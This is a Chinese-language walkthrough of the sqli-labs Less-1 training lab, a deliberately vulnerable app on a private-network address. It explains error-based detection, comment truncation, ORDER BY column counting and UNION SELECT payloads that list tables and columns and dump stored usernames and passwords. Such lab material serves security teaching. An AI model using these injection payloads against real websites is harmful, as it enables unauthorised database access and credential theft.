mysql註入精講
Sqlliab
Less1
首先來看源碼
我們發現直接將id的字段丟給了查詢sql語句函數。輸入地址看看效果
http://192.168.16.135/sqli-labs-master/Less-1/?id=1
我們發現當id=1的時候,當前的執行語句為:
SELECT * FROM users WHERE id=‘1‘ LIMIT 0,1
我們首先試試判斷sql註入的常用手法:加個’試試效果
http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘
發現就會報錯,為什麽會報錯呢,我們可以清楚的看到sql註入的執行語句為:
SELECT * FROM users WHERE id=‘1‘‘ LIMIT 0,1
因為id=’1’’,這是一個錯誤的sql語句,因此會出現報錯信息。
我們在來試試另一個判斷註入點的方法:and 1=1 和and 1=2
首先輸入and1=1
http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=1
發現執行的語句SELECT * FROM users WHERE id=‘1 and 1=1‘ LIMIT 0,1
我們發現1 and 1=1作為ID的值被傳入sql語句進行查詢,無論怎樣查詢到的結果只是id作為1的值。輸入and 1=3看看。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=3
怎麽樣才能讓sql語句執行 and語句呢?可以發現id的內容不是字符串嗎,我們可以嘗試閉合字符串。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1 ‘and 1=‘1成進行了閉合字段,在看看and1=2的內容
http://192.168.16.135/sqli-labs-master/Less-1/?id=1 ‘and 1=‘2
我們發現執行and1=1和執行and1=2的頁面反饋效果不同,說明存在sql註入點。
使用order by 字段,發現執行的sql語句為:
SELECT * FROM users WHERE id=‘1 order by 9‘ LIMIT 0,1
發現和執行and 的是一個道理,只不過在執行and的語句是我沒有截斷sql語句(說明這片文章的思路有一點小問題),在常規的sql註入過程中,如果我們發現是確實存在sql註入點的時候。我們就應該截斷sql語句,在這片文章裏就是“’LIMIT 0,1”。幹掉sql語句的多余部分。那麽問題來了我們怎麽樣才能幹掉後面的部分?有沒有一點的思路呢?
註釋,對就是註釋你沒有想錯,sql語句中一共有三種註釋符,分別是#,/**/,--。
首先說明這三種註釋符的意義
Select ID from user # 表示這條sql語句到此結束,常用語單行註釋。
Select id from user -- 表示這條語句到此結束,常用語多行註釋。主意這裏的--雙換線要求前後至少有一個空格,在sql語句的空格用+表示。
/*註釋sql語句的*/ 通常用於大段的註釋。
首先我們來幹掉多余的sql語句。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ --+,正常返回頁面,說明sql後面的LIMIT 0,1被幹掉。
執行語句http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ #
居然會爆錯一大堆,為啥呢?看執行的sql語句:
SELECT * FROM users WHERE id=‘1‘ ‘ LIMIT 0,1
說明沒有被幹掉,那麽怎麽辦呢?在sql註入的過程經常使用的一招就是編碼,是用url編碼問題。常用的URL編碼%20代表空格,%23表示#,說一個問題,URL和16進制有個相似的地方就是%23和0x23。都代表的#。感興趣可以下去研究一下。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ %23,返回正常。
判斷字段長度
Oder by 原理
T1表中有三個字段的時候,我們使用查詢語句,
Select * from t1 where id =1 order by 3,返回正常數據。
使用select * from t1 where id =1 order by 4,發現sql語句報錯,並且返回沒有找到這樣的字段。
當t1表有四個字段的時候,使用查詢語句
Select * from t1 where id =1 order by 4,返回數據。
Select * from t1 where id =1 order by 5,
返回錯誤。也就是說order by 就是來判斷表中到底有多少列。如果表中有3列,那麽order by 3 查詢到數據,如果 order by 4,則這個表中沒有4列數據,報錯。熟悉了原理來看看利用過程。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 9%23
發現Unknown column ‘9‘ in ‘order clause‘,說明不存在該字段。使用二分法來判斷其他的數字。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 3%23,發現3有頁面。
http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 4%23
發現4沒有,則說明就只有3個字段。
接下來就是查詢字段,使用union select 來查詢的原理。執行id=1返回正常,
執行-1返回的是空字段。
執行-1 union select 1,返回name
我們可以這樣理解
Select name from t1 where id =-1 這條語句執行的結果為空
Uninon select 1這條語句才能查詢到結果,給頁面返回查詢到的數字。
如何利用呢?也就說只要我們使union前面的sql語句執行的結果為空。才能讓頁面顯示出union 後面的sql語句執行的結果。我們使用and來驗證一下。
Select name from t1 where id =1 and 1=1,發現返回的是一個字段。
Select name from t1 where id =1 and 1=2,發現查詢到的結果為空
Select name from t1 where id =1 and 1=2 union select 1,
使用聯合查詢,查詢到數據。
熟悉了聯合查詢的原理。我們來在頁面中使用聯合查詢獲取字段。
http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,2,3%23
看一下執行的sql語句:
SELECT * FROM users WHERE id=‘-1‘ union select 1,2,3#
註意:截圖中的執行SQL語句不正確,因為我們使用了#註釋以後, #後面的內容已被sql過濾。也就是說#後面的東西為空。
我們發現在頁面中返回了2,3兩個字段。接下來利用在頁面顯示的字段來判斷sql的版本和數據庫。
http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,version(),database ()%23
發現MySQL的版本是5.5.53>5.0,大於5.0版本的mysql有一個數據庫information_schema這個數據庫裏存儲所有有MySQL的操作。我們看到在information_schema中有個表是tables,這個表裏存儲所有的表的屬性。
在columns中存儲所有有關列的信息。
http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=‘security‘%23,獲取表名
也可以使用
http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()%23
獲取列名,以users表為例。
http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,version(),group_concat(column_name)from information_schema.columns where table_name=‘users‘%23
獲取數據。
http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,version(),group_concat(username,password) from users%23
得到數據庫的管理的用戶名和密碼。那麽接下來怎麽做?
mysql註入精講